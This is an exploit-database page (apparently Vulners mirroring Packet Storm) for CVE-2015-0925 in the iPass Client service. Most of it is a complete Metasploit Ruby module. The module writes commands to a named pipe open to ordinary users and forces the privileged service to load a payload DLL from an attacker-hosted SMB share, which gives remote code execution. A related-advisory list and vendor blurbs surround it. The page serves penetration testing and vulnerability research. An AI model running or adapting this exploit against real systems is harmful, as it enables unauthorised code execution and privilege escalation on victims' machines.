Lucene search
K

IPass Control Pipe Remote Command Execution

🗓️ 13 Mar 2015 00:00:00Reported by Matthias KaiserType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

IPass Control Pipe Remote Command Execution vulnerability allows unauthorized user group to force service to load DLL from SMB share

Related
Code
ReporterTitlePublishedViews
Family
0day.today
iPass Control Pipe Remote Command Execution Exploit
13 Mar 201500:00
zdt
Circl
CVE-2015-0925
16 Mar 201500:00
circl
CNVD
iPass Open Mobile Windows Client Remote Code Execution Vulnerability
27 Jan 201500:00
cnvd
CVE
CVE-2015-0925
22 Jan 201511:00
cve
Cvelist
CVE-2015-0925
22 Jan 201511:00
cvelist
Exploit DB
IPass Control Pipe - Remote Command Execution (Metasploit)
16 Mar 201500:00
exploitdb
Metasploit
iPass Mobile Client Service Privilege Escalation
13 Mar 201521:53
metasploit
Metasploit
IPass Control Pipe Remote Command Execution
9 Mar 201515:36
metasploit
NVD
CVE-2015-0925
22 Jan 201514:02
nvd
OpenVAS
iPass Open Mobile Remote Code Execution Vulnerability - Windows
3 Aug 201600:00
openvas
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SMB::Client::Authenticated  
include Msf::Exploit::Remote::SMB::Server::Share  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IPass Control Pipe Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the IPass Client service. This service provides a  
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused  
to force the service to load a DLL from a SMB share.  
},  
'Author' =>  
[  
'Matthias Kaiser', # Vulnerability discovery  
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2015-0925' ],  
[ 'OSVDB', '117423' ],  
[ 'BID', '72265' ],  
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jan 21 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])  
], self.class)  
  
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')  
end  
  
def check  
echo_value = rand_text_alphanumeric(rand(10) + 10)  
  
begin  
response = send_command("System.Echo #{echo_value}")  
if response =~ Regexp.new(echo_value)  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Unknown  
end  
rescue Rex::ConnectionError => e  
vprint_error("Connection failed: #{e.class}: #{e}")  
return Msf::Exploit::CheckCode::Unknown  
rescue Rex::Proto::SMB::Exceptions::LoginError => e  
vprint_error('Connection reset during login')  
return Msf::Exploit::CheckCode::Unknown  
end  
end  
  
def setup  
super  
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"  
self.share = Rex::Text.rand_text_alpha(5)  
end  
  
def primer  
self.file_contents = generate_payload_dll  
print_status("File available on #{unc}...")  
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")  
end  
  
def send_command(command)  
# The connection is closed after each command, so we have to reopen it  
connect  
smb_login  
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')  
pipe.write(Rex::Text.to_unicode(command))  
response = Rex::Text.to_ascii(pipe.read)  
  
response  
end  
  
  
def exploit  
begin  
Timeout.timeout(datastore['SMB_DELAY']) { super }  
rescue Timeout::Error  
# do nothing... just finish exploit and stop smb server...  
end  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation